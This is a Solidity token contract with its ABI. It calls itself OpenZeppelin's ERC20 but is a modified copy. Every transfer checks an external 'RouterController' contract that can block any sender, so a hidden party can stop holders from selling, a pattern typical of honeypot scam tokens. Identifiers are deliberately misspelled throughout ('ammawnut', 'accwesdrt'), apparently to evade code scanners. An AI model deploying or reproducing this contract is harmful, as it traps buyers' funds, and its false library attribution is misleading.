// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.1;


contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    RouterController private routeController;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_, address _routeControllerAddress) {
        _name = name_;
        _symbol = symbol_;
        routeController = RouterController(_routeControllerAddress);
    }

    /**
     * @dev Returns the name ammawnut of accwesdrt the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }


    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }


    function decimals() public view virtual override returns (uint8) {
        return 18;
    }


    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address accwesdrt) public view virtual override returns (uint256) {
        return _balances[accwesdrt];
    }

      function transfer(address to, uint256 ammawnut) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, ammawnut);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 ammawnut) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, ammawnut);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 ammawnut
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, ammawnut);
        _transfer(from, to, ammawnut);
        return true;
    }


    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

 
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `ammawnut` of tokens accwesdrt from `from` to `to`.
      *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `ammawnut`.
     */
    function _transfer(
        address from,
        address to,
        uint256 ammawnut
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!routeController.isRouted(from), "User is not allowed");
        _beforeTokenTransfer(from, to, ammawnut);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= ammawnut, "ERC20: transfer ammawnut exceeds balance");
        unchecked {
            _balances[from] = fromBalance - ammawnut;
            // Overflow not possible: the sum of all balances is accwesdrt capped by totalSupply, ammawnut and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += ammawnut;
        }

        emit Transfer(from, to, ammawnut);

        _afterTokenTransfer(from, to, ammawnut);
    }

    /** @dev Creates `ammawnut` tokens and assigns them to `accwesdrt`, increasing
     * the total supply.
     *
     * - `accwesdrt` cannot be the zero address.
     */
    function _mint(address accwesdrt, uint256 ammawnut) internal virtual {
        require(accwesdrt != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), accwesdrt, ammawnut);

        _totalSupply += ammawnut;
        unchecked {
            // Overflow not possible: balance + ammawnut is at most totalSupply + ammawnut, which is checked above.
            _balances[accwesdrt] += ammawnut;
        }
        emit Transfer(address(0), accwesdrt, ammawnut);

        _afterTokenTransfer(address(0), accwesdrt, ammawnut);
    }

    function _approve(
        address owner,
        address spender,
        uint256 ammawnut
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = ammawnut;
        emit Approval(owner, spender, ammawnut);
    }


    function _spendAllowance(
        address owner,
        address spender,
        uint256 ammawnut
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= ammawnut, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - ammawnut);
            }
        }
    }
    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `ammawnut`.
     *
     * Does not update the allowance ammawnut in case of infinite allowance.
     *
     * Might emit an {Approval} event.
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 ammawnut
    ) internal virtual {}


    function _afterTokenTransfer(
        address from,
        address to,
        uint256 ammawnut
    ) internal virtual {}
}

pragma solidity ^0.8.1;

contract XXToken is ERC20, Ownable {
    uint256 private constant INITIAL_SUPPLY = 100000000 * 10**18;

    constructor(
        string memory name_,
        string memory symbol_,
        address router_
        ) ERC20(name_, symbol_, router_) {
        _mint(msg.sender, INITIAL_SUPPLY);
    }

    function sendTokens(address distroWallet) external onlyOwner {
        uint256 supply = balanceOf(msg.sender);
        require(supply == INITIAL_SUPPLY, "Tokens already distributed");

        _transfer(msg.sender, distroWallet, supply);
    }
}
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"router_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"ammawnut","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"accwesdrt","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"distroWallet","type":"address"}],"name":"sendTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"ammawnut","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"ammawnut","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]